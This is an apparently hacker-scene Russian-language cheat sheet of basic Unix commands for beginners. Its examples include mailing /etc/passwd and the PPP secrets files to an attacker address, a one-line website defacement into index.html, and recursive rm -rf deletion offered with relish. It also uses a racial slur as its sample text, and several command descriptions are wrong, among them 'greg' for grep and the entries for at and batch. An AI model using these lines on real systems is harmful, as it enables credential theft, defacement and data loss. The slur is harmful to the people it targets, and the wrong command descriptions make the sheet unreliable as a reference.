В этой статье я постараюсь изложить тебе основные команды системы Unix, которые
необходимо знать и которыми ты будешь пользоваться постоянно, если уже не пользуешься 🙂
Прежде всего дам тебе один совет на тот случай, если ты только начинаешь
пользоваться этой системой:
— учи команды Unix
— учи структуру каталогов системы (что облегчит тебе в дальнейшем понимание взлома и
обеспечения безопасности системы) — другими словами учи систему изнутри
======================================================================
Ниже перечислены далеко не все, но наиболее юзабельные команды:
======================================================================
*************************************
* Введение *
*************************************
Общий синтаксис введения команд выглядит следующим образом:
Команда — ключи — параметры
Набираете после приглашения команды описанного выше синтаксиса и дальше по списку 🙂
Внимание: Знак $ вводить не надо, пиши то, что идет после него. Это называется
приглашением, которое можно изменить.
*************************************
* Знаки ввода-вывода *
*************************************
> — Засунуть информации выхода в файл, без вывода на экран.
>> — -//- с добавлением
< - Возьмет инфу из файла.
| - Использовать стандартный вывод как ввод
Напимер:
$ ls -al > filename.txt — Залить выходную информацию в файл
*************************************
* Базовые команды системы Unix: *
*************************************
ps aux — Покажет статус всех процессов (можно посмотреть PID)
kill pid — Убить процесс
killall /programm — Убить процесс по имени
id — Покажет твои текущие права (т.е. uid и gid)
chmod — Изменить права доступа к файлу
Пример:
chmod 755 filename.txt (установка для .cgi файлов)
chown — Изменить владельца файла
Синтаксис:
user:user filename.txt
at — Покажет время, когда выполняется команда
batch — Выполнение команды во время загрузки
finger/who/users — Выведет список работающих в системе.
ftpwho — Finger для FTP
mail — Работа с почтой
crontab — Установка времени между запусками программ
pwcheck — Просмотреть дефолтовый файл паролей
umask — Использовать маску для определенного файла
su — Запуск программы su
sleep — Преостановить процесс
passwd — Работа с паролем
uux — Выполнить комманды на remote компьютере
uucp — Копировать файл (на|с) remote компьютер
uuname — Выдать список хостов UUCP
ls — Покажет листинг каталога
ls -al — Покажет листинг каталога + права и аттрибуты файлов
cd — Сменить директорию
Пример:
cd .. (подняться вверх)
rm filename.txt — Удалит файл
rmdir dirname — Удалит директорию
rm -rf DIR/ — Удалит всё включая каталоги и подкаталоги без запроса подтверждения
Что? Глаза уже горят?
rm -rf * — Стереть все
cp filename1.txt filename2.txt — Копирование файлов
mv filename1.txt filename2.txt — Перемещение файлов
cat filename.txt — Выведет содержимое файла на экран
cat > filename.txt — Записать в файл
more — Вывести текстовой файл в постраничном режиме
greg — Поиск строки в файле по заданному ключу
greg -i — -//- без учета регистра
uuencode — Создать текстовую версию двоичного файла
uudecode — Создать двоичную версию текстового файла
tar — Создать архивный файл
uncompress — Получить исходный файл из сжатого файла
echo «nigga» — Выведет на экран nigga
echo «hacked by k0dsweb» > index.html — А вот вам и пример дефейса на shell’e.
Запишет hacked by k0dsweb в index.html
pico filename.txt — Откроет файл в текстовом редакторе pico
joe filename.txt — Откроет файл в текстовом редакторе joe
play filename.wav — Проиграет звуковой файл filename.wav
prog sound.mp3 — Проиграет mp3 файл sound.mp3
df — Выдаст отчёт об использованнии дискового пространства
du — Оценка пространнства занимаемого файлом
gcc filename.c -o file — скомпилировать C код, и получить при выходе бинарник filename
gcc -S filename.c -o file — скомпилировать C код, и получить при выходе ассемблерный код в filename
uname -a — Выдаст сведения о системе
hostname — Покажет имя твоего хоста
hostname localhost — Изменить имя хоста на localhost
netstat — Выдаст статистику сетевых подключений на машине
nslookup www.victim.com — Опросить имя сервера
ping www.victim.com — Пингануть хост
traceroute www.victim.com — Исследовать путь до хоста
telnet www.victim.com 25 — Подрубиться к www.victim.com к 25-му порту
ftp ftp.victim.com — Подрубиться к ftp.victim.com по протоколу ftp
ssh victim.com — Подрубиться к victim.com по SSH (Secure Shell — Шифрованный Протокол)
lynx -source http://www.victim.com/archive.tar.gz > archive.tar.gz — Cкачать с www.victim.com
файл archive.tar.gz
*************************************
* Примеры *
*************************************
cat /etc/passwd | mail haxor@tut.uze — Отправит на haxor@tut.uze файл паролей
cat /etc/ppp/(pap|chap)-secrets | mail haxor@tut.uze — Отправит файл с аккаунтами Dial-Up соединения
*************************************
* Примочки: *
*************************************
; — Последовательное выполнение команд
Пример:
$ id;echo «nigga»
| (конвейер) — Передача результата одной команды другой
Пример:
$ echo «nigga» | cat > info.txt —
В данном случае слово «nigga» будет записано в файл info.txt
& (аперсанд) — Запуск программы в фоновом режиме
Пример:
$ prog sound.mp3&
В данном случае — запуск музыкального файла. По завершении проигрывания
файла выкинет сообщение об этом в консоль.
Теперь ты знаешь основные команды системы Unix и будешь чувствовать себя сухо и комфортно 🙂